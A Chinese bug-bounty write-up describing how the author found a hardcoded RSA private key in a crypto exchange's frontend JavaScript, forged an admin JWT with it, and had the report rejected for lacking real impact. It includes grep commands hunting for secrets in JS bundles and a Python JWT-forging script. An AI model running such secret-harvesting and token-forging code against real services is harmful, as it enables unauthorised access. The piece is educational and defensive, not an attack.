我如何在一家大型加密交易所前端发现硬编码的RSA私钥——以及我从中学到的惨痛教训

admin 2026-03-06 18:15:53 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 作者讲述了在加密交易所漏洞赏金项目中,通过前端JS发现硬编码RSA私钥并伪造JWT,但因未验证真实API接口与影响导致报告被拒的经历。文章总结了惨痛教训:漏洞挖掘必须捕获真实流量、验证实际危害而非停留在理论层面,并强调了报告撰写需简洁有力且证据确凿。 综合评分: 83 文章分类: SRC活动,实战经验,WEB安全,渗透测试,安全意识


cover_image

我如何在一家大型加密交易所前端发现硬编码的 RSA 私钥——以及我从中学到的惨痛教训

haidragon haidragon

安全狗的自我修养

2026年3月6日 12:12 湖南

官网:http://securitytech.cc

一则关于漏洞赏金的故事:侦查、兴奋与残酷现实

故事开始于一个普通的周六早晨。手握咖啡,打开终端,加载了一个新的漏洞赏金目标。 随后发生的事情成为我安全研究生涯中最具教育意义的经历之一——不是因为我拿到了巨额赏金,而是因为我没拿到。

这是这个故事。


目标

我在一家大型加密交易平台的漏洞赏金项目中寻找漏洞。 范围广泛:*.target.com、iOS 应用、Android 应用。奖励对严重漏洞为 Critical bounty。 目标漏洞类型包括:SSRF、业务逻辑缺陷、远程代码执行(RCE)、访问控制问题、敏感信息泄露。

我决定从我称之为 被动 JavaScript 侦查 开始——Web 漏洞赏金中最被低估的技巧之一。


阶段 1:JavaScript 侦查(宝藏藏身处)

大多数猎人会直接模糊测试接口或运行自动化扫描器。我发现真正的宝藏常常隐藏在前端 JavaScript 包中,直接发送到浏览器。

# 下载主前端 JS 包
curl-s https://static.target.com/web-frontend/client/app.xxxxx.js -o app.js

# 搜索关键字
grep-iE'private_key|secret|password|api_key|token' app.js

然后,它出现了:

TRACK_PRIVATE_KEY: "MIICdQIBADANBgkqhkiG9w0BAQEFAA..."

我的咖啡都凉了。我看到的似乎是 完整的 RSA 私钥,硬编码在生产环境 JavaScript 文件中——任何访问网站的人都可以获取。

我的心跳加速。


阶段 2:验证——这是真的么?

漏洞赏金第一条规则:验证之前不要兴奋。我提取密钥并立即用 OpenSSL 验证。

cat&nbsp;> extracted.key&nbsp;<< 'EOF'
-----BEGIN RSA PRIVATE KEY-----
MIICdQIBADANBgkqhkiG9w0BAQEFAASCAl8wggJbAgEAAoGBAIk9VvZx...
-----END RSA PRIVATE KEY-----
EOF

openssl&nbsp;rsa&nbsp;-in&nbsp;extracted.key&nbsp;-check-noout

输出:

RSA key ok

查看密钥参数:

openssl&nbsp;rsa&nbsp;-in&nbsp;extracted.key&nbsp;-text-noout
Private-Key: (1024 bit, 2 primes)
modulus: 00:89:3d:56:f6:71:af...
publicExponent: 65537 (0x10001)

确认。 一个真实、有效的 1024 位 RSA 私钥,存在于生产前端 JavaScript 文件中。

此时,大多数猎人会立即报告“私钥泄露”。我决定进一步挖掘。


阶段 3:我能用它伪造 JWT 吗?

该密钥在配置对象中名为 TRACK_PRIVATE_KEY,与其他变量同级:

{
baseHost:&nbsp;"https://api.target.com",
domain_env:&nbsp;"production",
TRACK_PRIVATE_KEY:&nbsp;"MIICdQIBADA...",
baseMainUrl:&nbsp;"http://internal-gateway.default.svc.cluster.local",
SENTRY_DSN:&nbsp;"https://[email protected]/3"
}

注意:baseMainUrl 指向内部 Kubernetes 集群地址?这是另一个发现。但真正的“皇冠”是私钥。

我写了 Python 脚本尝试伪造 JWT:

importjwt,&nbsp;time
fromcryptography.hazmat.primitivesimportserialization
fromcryptography.hazmat.backendsimportdefault_backend

PRIVATE_KEY_STR="""-----BEGIN RSA PRIVATE KEY-----
MIICdQIBADA...
-----END RSA PRIVATE KEY-----"""
PRIVATE_KEY=serialization.load_pem_private_key(
PRIVATE_KEY_STR.encode(),
password=None,
backend=default_backend()
)

# 提取公钥验证
PUBLIC_KEY=PRIVATE_KEY.public_key().public_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PublicFormat.SubjectPublicKeyInfo
)

# 伪造管理员 JWT
payload=&nbsp;{
"user_id":&nbsp;1,
"email":&nbsp;"[email protected]",
"role":&nbsp;"admin",
"permissions": ["*"],
"iat":&nbsp;int(time.time()),
"exp":&nbsp;int(time.time())&nbsp;+86400,
}
admin_token=jwt.encode(payload,&nbsp;PRIVATE_KEY,&nbsp;algorithm="RS256")
print(f"[+] Admin Token:&nbsp;{admin_token}")

# 自验证
decoded=jwt.decode(admin_token,&nbsp;PUBLIC_KEY,&nbsp;algorithms=["RS256"])
print(f"[+] Verified:&nbsp;{decoded}")

输出:

[+] Admin Token: eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9...
[+] Verified: {
&nbsp; &nbsp; "user_id": 1,
&nbsp; &nbsp; "email": "[email protected]",
&nbsp; &nbsp; "role": "admin",
&nbsp; &nbsp; "permissions": ["*"],
&nbsp; &nbsp; ...
}

JWT 完全有效。 我成功用他们的私钥伪造了管理员令牌。


阶段 4:我的错误

我过于兴奋,跳过了最关键的一步:在测试前找到真实 API 接口

我猜测接口:

ADMIN_TOKEN="eyJhbGciOiJSUzI1NiI..."
curl-s-H"Authorization: Bearer&nbsp;${ADMIN_TOKEN}"&nbsp;https://api.target.com/v1/admin/users
# Response: {"code": -35, "msg": "route not found", "success": false}

每个接口都返回 route not found,但我误以为 HTTP 200 表示令牌被接受。


阶段 5:报告——又一个错误

我写了详尽的报告,格式完美,每个 CVSS 分数、CWE、漏洞利用场景全覆盖。

提交后,平台回应:

“私钥不用于用户认证,仅用于日志验证。报告标记为 N/A,因为完全由 AI 生成,不符合规定。”

我当时争论,但他们是对的。


复盘:我错在哪里

  1. 猜测接口而非捕获真实流量
  2. 误读 HTTP 响应
  3. 报告理论而非证据
  4. 报告过度复杂

真实情况

  • 私钥确实存在安全风险,但只用于签名日志 token,而非认证 token。
  • 公司确认,无可利用 API,无法真正访问系统。
  • CWE-798:硬编码凭证
  • 信息级 → 低危
  • 最佳实践违规:客户端代码不应包含私钥

关键教训

  1. 捕获真实流量再测试
  2. 理解 HTTP 200 的真正含义
  3. 先验证影响,再提交报告
  4. 报告简洁清晰,图文并茂
  5. 正确接受拒绝

结论

在生产前端发现硬编码私钥很刺激,但漏洞赏金看重的是 可证明的影响,而非理论潜力。

必须存在真实接口,令牌必须被接受,数据必须返回,截图必须显示漏洞利用。 没有这一链条,只是有趣的技术观察,而非可赏金漏洞。

这次经历教会我:更有条理、更耐心、对自己的兴奋更怀疑。下次再遇到让心跳加速的发现,我会深呼吸,找到真实接口,正确测试,再写报告。

  • 公众号:安全狗的自我修养
  • vx:2207344074
  • http://gitee.com/haidragon
  • http://github.com/haidragon
  • bilibili:haidragonx

#

#


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:安全狗的自我修养 haidragon haidragon《我如何在一家大型加密交易所前端发现硬编码的 RSA 私钥——以及我从中学到的惨痛教训》

评论:0   参与:  0